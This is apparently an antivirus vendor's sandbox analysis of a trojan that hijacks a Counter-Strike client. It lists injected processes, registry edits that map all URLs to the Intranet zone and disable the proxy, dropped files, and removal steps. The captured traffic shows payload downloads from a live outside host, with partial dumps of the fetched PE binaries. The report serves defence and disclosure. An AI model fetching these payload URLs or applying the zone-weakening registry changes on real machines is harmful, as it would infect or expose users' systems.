Trojan.MSIL.Bladabindi.2_be7a7d7b50 – Adaware

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

regsvr32.exe:1380
taskkill.exe:564

The Trojan injects its code into the following process(es):

WScript.exe:1040

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process regsvr32.exe:1380 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

The process WScript.exe:1040 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\masterservers[1].vdf (97 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\serverbrowser[1].vdf (317 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\GTProtector[1].ini (175 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\serverbrowser[1].vdf (317 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\masterservers[1].vdf (97 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\masterservers[1].vdf (97 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\GTProtector[1].asi (5575 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\masterservers[1].vdf (97 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\GTProtector[1].533424 (10864 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\gamemenu[1].res (781 bytes)

Registry activity

The process regsvr32.exe:1380 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "8D 0C 5F BE 01 4B 98 76 74 1B 53 75 00 54 0E E4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%System%]
"wscript.exe" = "Microsoft (R) Windows Based Script Host"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The process taskkill.exe:564 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "13 A2 33 87 B0 8D D8 45 51 F3 14 9B D5 9E 7B BF"

The process WScript.exe:1040 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%System%]
"taskkill.exe" = "Kill Process"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 28 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E4 E2 44 78 5F 51 FB 62 60 B0 47 05 21 0E C1 1F"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

MD5	File path
05fd86912d656714537a37f0b686bcc4	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\GTProtector[1].533424
5bcfef4a1f1c25984826fb5e746b15ec	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\GTProtector[1].asi

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
regsvr32.exe:1380
taskkill.exe:564
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\masterservers[1].vdf (97 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\serverbrowser[1].vdf (317 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\GTProtector[1].ini (175 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\serverbrowser[1].vdf (317 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\masterservers[1].vdf (97 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\masterservers[1].vdf (97 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\GTProtector[1].asi (5575 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\masterservers[1].vdf (97 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\GTProtector[1].533424 (10864 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\gamemenu[1].res (781 bytes)
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
UPX0	4096	180224	0	0	d41d8cd98f00b204e9800998ecf8427e
UPX1	184320	98304	94720	5.46977	bbd87573692339d058c878988008ef5f
.rsrc	282624	4096	1536	2.05953	be5ecd7df3f038b239ecb5c763ed6d1d

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://86.106.123.200/cstrikex/GTProtector.asi?0.7055475
hxxp://86.106.123.200/cstrikex/GTProtector.dll?0.533424
hxxp://86.106.123.200/cstrikex/GTProtector.ini?0.5795186
hxxp://86.106.123.200/cstrikex/masterservers.vdf?0.2895625
hxxp://86.106.123.200/cstrikex/masterservers.vdf?0.301948
hxxp://86.106.123.200/cstrikex/masterservers.vdf?0.7747401
hxxp://86.106.123.200/cstrikex/masterservers.vdf?1.401764E-02
hxxp://86.106.123.200/cstrikex/serverbrowser.vdf?0.7607236
hxxp://86.106.123.200/cstrikex/serverbrowser.vdf?0.81449
hxxp://86.106.123.200/cstrikex/gamemenu.res?0.7090379
hxxp://86.106.123.200/cstrikex/clear.cfg?4.535276E-02
hxxp://86.106.123.200/cstrikex/protector.cfg?0.4140327
hxxp://ms-shadow.ro/cstrikex/serverbrowser.vdf?0.81449
hxxp://ms-shadow.ro/cstrikex/gamemenu.res?0.7090379
hxxp://ms-shadow.ro/cstrikex/protector.cfg?0.4140327
hxxp://ms-shadow.ro/cstrikex/clear.cfg?4.535276E-02
hxxp://ms-shadow.ro/cstrikex/masterservers.vdf?0.7747401
hxxp://ms-shadow.ro/cstrikex/masterservers.vdf?1.401764E-02
hxxp://ms-shadow.ro/cstrikex/masterservers.vdf?0.2895625
hxxp://ms-shadow.ro/cstrikex/serverbrowser.vdf?0.7607236
hxxp://ms-shadow.ro/cstrikex/GTProtector.asi?0.7055475
hxxp://ms-shadow.ro/cstrikex/GTProtector.dll?0.533424
hxxp://ms-shadow.ro/cstrikex/masterservers.vdf?0.301948
hxxp://ms-shadow.ro/cstrikex/GTProtector.ini?0.5795186

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /cstrikex/GTProtector.asi?0.7055475 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: ms-shadow.ro

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx admin

Date: Wed, 16 Dec 2015 18:52:41 GMT

Content-Length: 32768

Connection: keep-alive

Last-Modified: Sat, 04 Jul 2015 13:41:32 GMT

X-Cache: HIT from Backend

Accept-Ranges: bytes

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......`..A$O..$O..$O..?.v.-O..?.C.,O..?.w..O..-7N.'O..$O...O..?.r.%O..?.@.%O..Rich$O..................PE..L...5=ET...........!.....F...6...............`............................................@..................................z..(....................................................................x..@............`...............................text....E.......F.................. ..`.rdata..B....`... ...J..............@..@.data................j..............@....rsrc................v..............@..@.reloc..H............x..............@..B................................................................................................................................................................................................................................................................................................................................................................U.......9E.u.h.w.....`........]...;.....u....}...j.hpx...#....E....uz.......u.3..8..........u.........k......`.............$..........y..m............x .p.....x.j......Y..u... ...............3.;.u[9= ...~... ....}.9=....u..e...9}.u............H....E...............3.9}.u..=.....t........j...uY.....h....j......YY..;.......V.5.....5d......`......t.WV.....YY...`.....N....V.....Y........u.W.$...Y3.@........j.h.x............].3.@.E...u.9. ..........e..;.t....u...a....t.WVS...E..}........WVS.C....E.........WVS....

<<< skipped >>>

GET /cstrikex/GTProtector.dll?0.533424 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: ms-shadow.ro

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx admin

Date: Wed, 16 Dec 2015 18:52:41 GMT

Content-Type: application/x-msdownload

Content-Length: 135168

Connection: keep-alive

Last-Modified: Sat, 04 Jul 2015 13:41:46 GMT

X-Cache: HIT from Backend

Accept-Ranges: bytes

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................;.3.......5.......................8.......................0.......1.......6.....Rich............................PE..L.....DT...........!.....|..........Zu.......................................`............@......................... ...N...$...(....0.......................@..........................................................8............................text....z.......|.................. ..`.rdata..nS.......T..................@..@.data...d?..........................@....rsrc........0......................@..@.reloc.......@... ..................@..B................................................................................................................................................................................................................................................................................................................................U.....V...WS...E.h....E....:...u..E.P.&F...F..~.....u...8.K.R......v..E..E.P..>Pj.Y......._^....U.....SV.5....h......h.....E...h.....E...3.h.....E.._....G.;.u'h.......G.;.u.S...G.;.u.2..K._....G.....G...G..H<.L.P.O.;.u..G..`...O..L...O.;.t.9].t.9].t.9].t.3.@..3.^[..VW...|$.3...t ..8..t....u.FG;.r...@...;T$.r.3._^...Sh..... .......[;F.r.;F.v.2...x..u..........N..x..t..x..u..@.....F. .j.3.Y...F.....N........P..D........SW.z..T.........Q8.z..Ih.T.........Q..L.........H.............H..@......h.....!......

<<< skipped >>>

GET /cstrikex/GTProtector.ini?0.5795186 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: ms-shadow.ro

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx admin

Date: Wed, 16 Dec 2015 18:52:42 GMT

Content-Length: 175

Connection: keep-alive

Last-Modified: Sat, 04 Jul 2015 13:38:18 GMT

X-Cache: HIT from Backend

Accept-Ranges: bytes

[hard_block].motd_write.load..[svc_block].alias.bind.career.demo.setdemoinfo.demos.exec.file.gamedir.gg.map.startmovie.waveplaylen.writecfg.clear._restart.spec_mode.motd_writeHTTP/1.1 200 OK..Server: nginx admin..Date: Wed, 16 Dec 2015 18:52:42 GMT..Content-Length: 175..Connection: keep-alive..Last-Modified: Sat, 04 Jul 2015 13:38:18 GMT..X-Cache: HIT from Backend..Accept-Ranges: bytes..[hard_block].motd_write.load..[svc_block].alias.bind.career.demo.setdemoinfo.demos.exec.file.gamedir.gg.map.startmovie.waveplaylen.writecfg.clear._restart.spec_mode.motd_write....

GET /cstrikex/masterservers.vdf?0.2895625 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: ms-shadow.ro

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx admin

Date: Wed, 16 Dec 2015 18:52:43 GMT

Content-Length: 97

Connection: keep-alive

Last-Modified: Fri, 13 Nov 2015 07:43:07 GMT

X-Cache: HIT from Backend

Accept-Ranges: bytes

"MasterServers"..{..."hl1"...{...."0"....{....."addr"..master.ms-shadow.ro:27010"....}...}..}........

GET /cstrikex/masterservers.vdf?0.301948 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: ms-shadow.ro

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx admin

Date: Wed, 16 Dec 2015 18:52:43 GMT

Content-Length: 97

Connection: keep-alive

Last-Modified: Fri, 13 Nov 2015 07:43:07 GMT

X-Cache: HIT from Backend

Accept-Ranges: bytes

"MasterServers"..{..."hl1"...{...."0"....{....."addr"..master.ms-shadow.ro:27010"....}...}..}........

GET /cstrikex/masterservers.vdf?0.7747401 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: ms-shadow.ro

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx admin

Date: Wed, 16 Dec 2015 18:52:43 GMT

Content-Length: 97

Connection: keep-alive

Last-Modified: Fri, 13 Nov 2015 07:43:07 GMT

X-Cache: HIT from Backend

Accept-Ranges: bytes

"MasterServers"..{..."hl1"...{...."0"....{....."addr"..master.ms-shadow.ro:27010"....}...}..}........

GET /cstrikex/masterservers.vdf?1.401764E-02 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: ms-shadow.ro

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx admin

Date: Wed, 16 Dec 2015 18:52:43 GMT

Content-Length: 97

Connection: keep-alive

Last-Modified: Fri, 13 Nov 2015 07:43:07 GMT

X-Cache: HIT from Backend

Accept-Ranges: bytes

"MasterServers"..{..."hl1"...{...."0"....{....."addr"..master.ms-shadow.ro:27010"....}...}..}........

GET /cstrikex/serverbrowser.vdf?0.7607236 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: ms-shadow.ro

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx admin

Date: Wed, 16 Dec 2015 18:52:43 GMT

Content-Length: 317

Connection: keep-alive

Last-Modified: Fri, 13 Nov 2015 07:43:13 GMT

X-Cache: HIT from Backend

Accept-Ranges: bytes

"filters".{.."favorites"..{..."0"...{...."name".."Join random server"...."address"."93.119.26.140:27016"...."lastplayed"."1438943318"...."appID".."0"...}...."1"...{...."name".."STYLE.INDUNGI.RO # FATAL ERROR"...."address"."93.119.24.12:27015"...."lastplayed"."1426662352"...."appID".."0"...}...}..."history"..{..}..}.....

GET /cstrikex/serverbrowser.vdf?0.81449 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: ms-shadow.ro

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx admin

Date: Wed, 16 Dec 2015 18:52:43 GMT

Content-Length: 317

Connection: keep-alive

Last-Modified: Fri, 13 Nov 2015 07:43:13 GMT

X-Cache: HIT from Backend

Accept-Ranges: bytes

"filters".{.."favorites"..{..."0"...{...."name".."Join random server"...."address"."93.119.26.140:27016"...."lastplayed"."1438943318"...."appID".."0"...}...."1"...{...."name".."STYLE.INDUNGI.RO # FATAL ERROR"...."address"."93.119.24.12:27015"...."lastplayed"."1426662352"...."appID".."0"...}...}..."history"..{..}..}.....

GET /cstrikex/gamemenu.res?0.7090379 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: ms-shadow.ro

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx admin

Date: Wed, 16 Dec 2015 18:52:43 GMT

Content-Type: application/x-dtbresource xml

Content-Length: 781

Connection: keep-alive

Last-Modified: Fri, 13 Nov 2015 07:43:14 GMT

X-Cache: HIT from Backend

Accept-Ranges: bytes

"GameMenu" { "1" { "label" "Join random server" "command" "engine Connect xdd2.ms-shadow.ro:27016" } "2" { "label" "" "command" "" } "3" { "label" "#GameUI_GameMenu_ResumeGame" "command" "ResumeGame" "OnlyInGame" "1" } "4" { "label" "#GameUI_GameMenu_Disconnect" "command" "Disconnect" "OnlyInGame" "1" "notsingle" "1" } "5" { "label" "#GameUI_GameMenu_PlayerList" "command" "OpenPlayerListDialog" "OnlyInGame" "1" "notsingle" "1" } "9" { "label" "" "command" "" "OnlyInGame" "1" } "10" { "label" "#GameUI_GameMenu_NewGame" "command" "OpenCreateMultiplayerGameDialog" } "11" { "label" "#GameUI_GameMenu_FindServers" "command" "OpenServerBrowser" } "12" { "label" "#GameUI_GameMenu_Options" "command" "OpenOptionsDialog" } "13" { "label" "#GameUI_GameMenu_Quit" "command" "Quit" } }....

GET /cstrikex/clear.cfg?4.535276E-02 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: ms-shadow.ro

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Server: nginx admin

Date: Wed, 16 Dec 2015 18:52:44 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

1f3..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<HTML><HEAD>.<TITLE>404 Not Found</TITLE>.</HEAD><BODY>.<H1>Not Found</H1>.The requested URL /cstrikex/clear.cfg?4.535276E-02 was not found on this server..<HR>.<I>ms-shadow.ro</I>.</BODY></HTML>...............................................................................................................................................................................................................................................................0......

GET /cstrikex/protector.cfg?0.4140327 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: ms-shadow.ro

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Server: nginx admin

Date: Wed, 16 Dec 2015 18:52:44 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

1f4..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<HTML><HEAD>.<TITLE>404 Not Found</TITLE>.</HEAD><BODY>.<H1>Not Found</H1>.The requested URL /cstrikex/protector.cfg?0.4140327 was not found on this server..<HR>.<I>ms-shadow.ro</I>.</BODY></HTML>...............................................................................................................................................................................................................................................................0......

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

WScript.exe_1040:

.text

`.data

.rsrc

@.reloc

ADVAPI32.dll

KERNEL32.dll

NTDLL.DLL

USER32.dll

msvcrt.dll

OLEAUT32.dll

ole32.dll

VERSION.dll

wscript.exe

advapi32.dll

kernel32.dll

%s%s.DLL

wintrust.dll

%d.%d

Invalid parameter passed to C runtime function.

SOFTWARE\Classes\%s\%s

0x%8X

CreateURLMonikerEx

urlmon.dll

@@8X%u

RegCreateKeyA

RegCloseKey

RegOpenKeyA

RegDeleteKeyA

RegCreateKeyExW

RegCreateKeyExA

RegOpenKeyExW

ReportEventW

RegEnumKeyExA

RegOpenKeyExA

GetProcessHeap

GetCPInfo

MsgWaitForMultipleObjects

EnumThreadWindows

wscript.pdb

stdole2.tlbWWW

.ObjectWW

KeyW

WindowsFolderWWW4

%CopyFolderWWL

Windows Script Host (Ver 5.6)W)

Windows Script Host Application InterfaceW%

Windows Script Host Object

ebstrCmdLineW

7Â8t8x8

5Q5F5

Software\Microsoft\Windows Script Host\Settings

Windows Script Host

WScript.CreateObject

WSHRemote.Execute

Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}

.\%s.mui

.\%s\%s.mui

%s\%s.mui

%s\%s\%s.mui

%s\%s

Microsoft (R) Windows Based Script Host

5.7.0.16599

Microsoft (R) Windows Script Host

(Windows Script Host (debugging disabled)

Windows Script Host Error

Windows Script Host Input Error

This Unicode version of Windows Script Host will only execute under Windows NT.

Please use the ANSI version of Windows Script Host."

WScript execution time was exceeded on script "%1!ls!".

Script execution was terminated.1Could not locate automation class named "%1!ls!".

Could not connect object.'Could not create object named "%1!ls!".1Initialization of the Windows Script Host failed.6Can't find script engine "%2!ls!" for script "%1!ls!".!Can't change default script host.=An attempt at saving your settings via the //S option failed.(Loading script "%1!ls!" failed (%2!ls!).

Loading your settings failed.,Execution of the Windows Script Host failed.,Unexpected error of the Windows Script Host._Windows Script Host access is disabled on this machine. Contact your administrator for details.

Missing job name.*Unicode is not supported on this platform.

Command line options are saved.4The default script host is now set to "wscript.exe".4The default script host is now set to "cscript.exe".,Successful execution of Windows Script Host.3Successful remote execution of Windows Script Host.

Win32 Error 0x%X

Windows Script Host(Windows Script Host (debugging disabled)

Usage: WScript scriptname.extension [option...] [arguments...]

Use engine for executing script

Changes the default script host to CScript.exe

Changes the default script host to WScript.exe (default)

Prevent logo display: No banner will be shown at execution time

#WScript Error - Windows Script Host!Input Error - Windows Script HostlThis Unicode version of WScript will only execute under Windows NT.

%6!ls! WScript - Script Execution Error!Windows Script Host Remote Script/Remote script object can only be executed once. Unable to execute remote script.

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps